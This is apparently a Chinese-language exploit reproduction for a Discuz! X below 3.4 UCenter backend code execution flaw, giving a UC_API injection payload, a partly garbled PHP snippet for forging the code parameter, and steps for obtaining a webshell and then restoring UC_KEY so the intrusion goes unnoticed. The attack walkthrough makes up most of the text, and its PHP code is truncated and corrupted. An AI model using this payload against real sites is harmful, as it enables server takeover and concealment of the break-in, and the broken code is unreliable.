## Discuz! X < 3.4 uc_center 后台代码执行漏洞
### 一、漏洞简介
### 二、漏洞影响
Discuz! X < 3.4
### 三、复现过程
进入后台站长-Ucenter设置,设置UC_KEY=随意(一定要记住,后面要用),
```
UC_API= http://www.baidu.com/discuz34/uc_server');phpinfo();//
```


成功写进配置文件,这里单引号被转移了,我们接下来使用UC_KEY(dz)去调用api/uc.php中的updateapps函数更新UC_API。
利用UC_KEY(dz) 生成code参数,使用过UC_KEY(dz) GetWebShell的同学肯定不陌生,这里使用的UC_KEY(dz)就是上面我们设置的。
```php
0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>
“`
将生成的数据带入GET请求中的code 参数,发送数据包

访问 `http://url/discuz34/config/config_ucenter.php` 代码执行成功


到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:
* 从数据库中读取authkey(uc_server),通过UC_MYKEY解密获得UC_KEY(dz),当然有可能authkey(uc_server)就是UC_KEY(dz)。
* 直接进入Ucenter后台修改UC_KEY,修改成我们GetWebShell过程中所设置的值。













请登录后查看评论内容